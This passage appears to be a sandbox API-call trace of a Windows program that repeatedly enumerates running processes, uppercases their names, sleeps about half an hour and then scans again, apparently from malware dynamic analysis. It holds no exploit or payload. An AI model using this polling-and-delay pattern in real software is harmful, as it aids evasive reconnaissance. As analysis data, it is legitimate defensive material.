th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contents what certificate.exe")) returned 1 [0211.449] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="contents what certificate.exe" | out: lpString1="contents what certificate.exe") returned="contents what certificate.exe" [0211.449] lstrlenW (lpString="contents what certificate.exe") returned 29 [0211.449] CharUpperBuffW (in: lpsz="contents what certificate.exe", cchLength=0x1d | out: lpsz="CONTENTS WHAT CERTIFICATE.EXE") returned 0x1d [0211.449] PathFindFileNameW (pszPath="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0211.449] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CONTENTS WHAT CERTIFICATE.EXE" | out: lpString1="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0211.449] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cindy.exe")) returned 1 [0211.450] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cindy.exe" | out: lpString1="cindy.exe") returned="cindy.exe" [0211.450] lstrlenW (lpString="cindy.exe") returned 9 [0211.450] CharUpperBuffW (in: lpsz="cindy.exe", cchLength=0x9 | out: lpsz="CINDY.EXE") returned 0x9 [0211.450] PathFindFileNameW (pszPath="CINDY.EXE") returned="CINDY.EXE" [0211.450] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CINDY.EXE" | out: lpString1="CINDY.EXE") returned="CINDY.EXE" [0211.450] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="printable_fountain_korea.exe")) returned 1 [0211.450] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="printable_fountain_korea.exe" | out: lpString1="printable_fountain_korea.exe") returned="printable_fountain_korea.exe" [0211.450] lstrlenW (lpString="printable_fountain_korea.exe") returned 28 [0211.450] CharUpperBuffW (in: lpsz="printable_fountain_korea.exe", cchLength=0x1c | out: lpsz="PRINTABLE_FOUNTAIN_KOREA.EXE") returned 0x1c [0211.450] PathFindFileNameW (pszPath="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0211.450] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PRINTABLE_FOUNTAIN_KOREA.EXE" | out: lpString1="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0211.450] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="unusual.exe")) returned 1 [0211.451] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="unusual.exe" | out: lpString1="unusual.exe") returned="unusual.exe" [0211.451] lstrlenW (lpString="unusual.exe") returned 11 [0211.451] CharUpperBuffW (in: lpsz="unusual.exe", cchLength=0xb | out: lpsz="UNUSUAL.EXE") returned 0xb [0211.451] PathFindFileNameW (pszPath="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0211.451] lstrcpyW (in: lpString1=0x2b4f928, lpString2="UNUSUAL.EXE" | out: lpString1="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0211.451] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pacific.exe")) returned 1 [0211.452] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="pacific.exe" | out: lpString1="pacific.exe") returned="pacific.exe" [0211.452] lstrlenW (lpString="pacific.exe") returned 11 [0211.452] CharUpperBuffW (in: lpsz="pacific.exe", cchLength=0xb | out: lpsz="PACIFIC.EXE") returned 0xb [0211.452] PathFindFileNameW (pszPath="PACIFIC.EXE") returned="PACIFIC.EXE" [0211.452] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PACIFIC.EXE" | out: lpString1="PACIFIC.EXE") returned="PACIFIC.EXE" [0211.452] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="phantom.exe")) returned 1 [0211.452] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="phantom.exe" | out: lpString1="phantom.exe") returned="phantom.exe" [0211.452] lstrlenW (lpString="phantom.exe") returned 11 [0211.452] CharUpperBuffW (in: lpsz="phantom.exe", cchLength=0xb | out: lpsz="PHANTOM.EXE") returned 0xb [0211.452] PathFindFileNameW (pszPath="PHANTOM.EXE") returned="PHANTOM.EXE" [0211.452] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PHANTOM.EXE" | out: lpString1="PHANTOM.EXE") returned="PHANTOM.EXE" [0211.453] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x32c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0211.453] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0211.453] lstrlenW (lpString="audiodg.exe") returned 11 [0211.453] CharUpperBuffW (in: lpsz="audiodg.exe", cchLength=0xb | out: lpsz="AUDIODG.EXE") returned 0xb [0211.453] PathFindFileNameW (pszPath="AUDIODG.EXE") returned="AUDIODG.EXE" [0211.453] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUDIODG.EXE" | out: lpString1="AUDIODG.EXE") returned="AUDIODG.EXE" [0211.453] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SCN0tification.exe")) returned 1 [0211.454] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SCN0tification.exe" | out: lpString1="SCN0tification.exe") returned="SCN0tification.exe" [0211.454] lstrlenW (lpString="SCN0tification.exe") returned 18 [0211.454] CharUpperBuffW (in: lpsz="SCN0tification.exe", cchLength=0x12 | out: lpsz="SCN0TIFICATION.EXE") returned 0x12 [0211.454] PathFindFileNameW (pszPath="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0211.454] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SCN0TIFICATION.EXE" | out: lpString1="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0211.454] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0211.454] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0211.454] lstrlenW (lpString="svchost.exe") returned 11 [0211.455] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0211.455] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0211.455] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0211.455] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0211.455] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="WmiPrvSE.exe" | out: lpString1="WmiPrvSE.exe") returned="WmiPrvSE.exe" [0211.455] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0211.455] CharUpperBuffW (in: lpsz="WmiPrvSE.exe", cchLength=0xc | out: lpsz="WMIPRVSE.EXE") returned 0xc [0211.455] PathFindFileNameW (pszPath="WMIPRVSE.EXE") returned="WMIPRVSE.EXE" [0211.455] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WMIPRVSE.EXE" | out: lpString1="WMIPRVSE.EXE") returned="WMIPRVSE.EXE" [0211.455] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0211.456] CloseHandle (hObject=0x2dc) returned 1 [0211.456] Sleep (dwMilliseconds=0x1b7740) [0221.460] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0221.462] Process32FirstW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0221.463] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0221.463] lstrlenW (lpString="[System Process]") returned 16 [0221.463] CharUpperBuffW (in: lpsz="[System Process]", cchLength=0x10 | out: lpsz="[SYSTEM PROCESS]") returned 0x10 [0221.463] PathFindFileNameW (pszPath="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0221.463] lstrcpyW (in: lpString1=0x2b4f928, lpString2="[SYSTEM PROCESS]" | out: lpString1="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0221.463] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x61, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0221.463] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="System" | out: lpString1="System") returned="System" [0221.463] lstrlenW (lpString="System") returned 6 [0221.464] CharUpperBuffW (in: lpsz="System", cchLength=0x6 | out: lpsz="SYSTEM") returned 0x6 [0221.464] PathFindFileNameW (pszPath="SYSTEM") returned="SYSTEM" [0221.464] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SYSTEM" | out: lpString1="SYSTEM") returned="SYSTEM" [0221.464] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0221.464] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0221.464] lstrlenW (lpString="smss.exe") returned 8 [0221.464] CharUpperBuffW (in: lpsz="smss.exe", cchLength=0x8 | out: lpsz="SMSS.EXE") returned 0x8 [0221.464] PathFindFileNameW (pszPath="SMSS.EXE") returned="SMSS.EXE" [0221.464] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SMSS.EXE" | out: lpString1="SMSS.EXE") returned="SMSS.EXE" [0221.464] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0221.465] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0221.465] lstrlenW (lpString="csrss.exe") returned 9 [0221.465] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0221.465] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0221.465] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0221.465] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0221.466] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0221.466] lstrlenW (lpString="wininit.exe") returned 11 [0221.466] CharUpperBuffW (in: lpsz="wininit.exe", cchLength=0xb | out: lpsz="WININIT.EXE") returned 0xb [0221.466] PathFindFileNameW (pszPath="WININIT.EXE") returned="WININIT.EXE" [0221.466] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WININIT.EXE" | out: lpString1="WININIT.EXE") returned="WININIT.EXE" [0221.466] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0221.466] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0221.466] lstrlenW (lpString="csrss.exe") returned 9 [0221.466] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0221.466] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0221.466] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0221.467] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0221.467] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0221.467] lstrlenW (lpString="winlogon.exe") returned 12 [0221.467] CharUpperBuffW (in: lpsz="winlogon.exe", cchLength=0xc | out: lpsz="WINLOGON.EXE") returned 0xc [0221.467] PathFindFileNameW (pszPath="WINLOGON.EXE") returned="WINLOGON.EXE" [0221.467] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WINLOGON.EXE" | out: lpString1="WINLOGON.EXE") returned="WINLOGON.EXE" [0221.467] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0221.468] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0221.468] lstrlenW (lpString="services.exe") returned 12 [0221.468] CharUpperBuffW (in: lpsz="services.exe", cchLength=0xc | out: lpsz="SERVICES.EXE") returned 0xc [0221.468] PathFindFileNameW (pszPath="SERVICES.EXE") returned="SERVICES.EXE" [0221.468] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SERVICES.EXE" | out: lpString1="SERVICES.EXE") returned="SERVICES.EXE" [0221.468] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0221.469] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0221.469] lstrlenW (lpString="lsass.exe") returned 9 [0221.469] CharUpperBuffW (in: lpsz="lsass.exe", cchLength=0x9 | out: lpsz="LSASS.EXE") returned 0x9 [0221.469] PathFindFileNameW (pszPath="LSASS.EXE") returned="LSASS.EXE" [0221.469] lstrcpyW (in: lpString1=0x2b4f928, lpString2="LSASS.EXE" | out: lpString1="LSASS.EXE") returned="LSASS.EXE" [0221.469] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.469] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0221.469] lstrlenW (lpString="svchost.exe") returned 11 [0221.469] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0221.469] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0221.469] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0221.469] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.470] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0221.470] lstrlenW (lpString="svchost.exe") returned 11 [0221.470] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0221.470] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0221.470] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0221.470] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0221.471] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0221.471] lstrlenW (lpString="dwm.exe") returned 7 [0221.471] CharUpperBuffW (in: lpsz="dwm.exe", cchLength=0x7 | out: lpsz="DWM.EXE") returned 0x7 [0221.471] PathFindFileNameW (pszPath="DWM.EXE") returned="DWM.EXE" [0221.471] lstrcpyW (in: lpString1=0x2b4f928, lpString2="DWM.EXE" | out: lpString1="DWM.EXE") returned="DWM.EXE" [0221.471] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.471] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0221.471] lstrlenW (lpString="svchost.exe") returned 11 [0221.471] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0221.471] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0221.472] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0221.472] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.472] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0221.472] lstrlenW (lpString="svchost.exe") returned 11 [0221.472] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0221.472] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0221.472] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0221.472] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.473] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0221.473] lstrlenW (lpString="svchost.exe") returned 11 [0221.473] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0221.473] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0221.473] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0221.473] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.474] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0221.474] lstrlenW (lpString="svchost.exe") returned 11 [0221.474] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0221.474] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0221.474] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0221.474] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.474] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0221.474] lstrlenW (lpString="svchost.exe") returned 11 [0221.474] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0221.474] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0221.474] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0221.474] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.475] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0221.475] lstrlenW (lpString="svchost.exe") returned 11 [0221.475] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0221.475] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0221.475] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0221.475] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0221.477] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0221.477] lstrlenW (lpString="spoolsv.exe") returned 11 [0221.477] CharUpperBuffW (in: lpsz="spoolsv.exe", cchLength=0xb | out: lpsz="SPOOLSV.EXE") returned 0xb [0221.477] PathFindFileNameW (pszPath="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0221.477] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SPOOLSV.EXE" | out: lpString1="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0221.477] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.478] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0221.478] lstrlenW (lpString="svchost.exe") returned 11 [0221.478] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0221.478] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0221.478] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0221.478] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0221.478] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0221.478] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0221.479] CharUpperBuffW (in: lpsz="OfficeClickToRun.exe", cchLength=0x14 | out: lpsz="OFFICECLICKTORUN.EXE") returned 0x14 [0221.479] PathFindFileNameW (pszPath="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0221.479] lstrcpyW (in: lpString1=0x2b4f928, lpString2="OFFICECLICKTORUN.EXE" | out: lpString1="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0221.479] Process32NextW (in: hSnapshot=0x2bc, lppe=0x2b4fb48 | out: 